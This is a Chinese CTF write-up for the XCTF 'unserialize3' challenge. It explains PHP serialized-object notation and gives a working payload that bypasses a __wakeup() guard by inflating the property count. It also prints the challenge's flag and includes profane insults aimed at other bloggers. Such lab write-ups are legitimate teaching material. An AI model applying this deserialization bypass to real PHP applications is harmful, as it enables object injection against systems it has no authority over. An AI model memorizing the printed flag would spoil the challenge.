unserialize3

unserialize3

看了很多博客,讲的跟哈麻批一样,有的在装杯,有的在不懂装懂有的在人云亦云,原理也是一些陈词滥调,各个参数的意思是什么也没说,让人无法深入且透彻了解,没有实质性的讲解,只为flag而flag,就是一垃圾
下面我们来讲讲反序列化漏洞,先来了解对象,对象里面有属性和值,序列化就是只保留对象里面的属性和值,生成一段字符串如下:

O:1:"S":1:{s:4:"test";s:4:"1234";}

劳资是真的讨厌有些懂也懂鸡巴不到,还在那写writeup或者博客,你写你🐎的博客呢,像这种:

就是我说的典型的蛤蟆皮,对于一个没有接触过反序列化的人来说看了什么感受,而且他也没讲清楚绕过原理,就真是为了flag而flag

就拿上述序列化后的字符串来说,依次表示为:

O:1:"S":1:{s:4:"test";s:4:"1234";}
O:代表对象
1:对象名字长度为一个字符
S:对象名
1:一个变量
s:数据类型
4:变量名字符串长度
test:变量名
s:数据类型
4:变量值字符串长度
1234:变量值

观察题中源码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

易知有一个变量flag,值为111
还有一个wakeup()函数,触发返回bad requests,那么只需要改变表示变量个数的值不为真实变量的个数的值即可,如:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}必定触发bad requests

将xctf后面的1(表示变量个数),改为2,或3,只要不是真实变量的个数的值,即1,都是可以的

O:4:"xctf":2:{s:4:"flag";s:3:"111";}就可以了

得到flag:cyberpeace{8f5f22ec383ef3eaf0c5e3861ec55725}

posted @ 2020-11-05 00:39  nihinumbra  阅读(160)  评论(0编辑  收藏  举报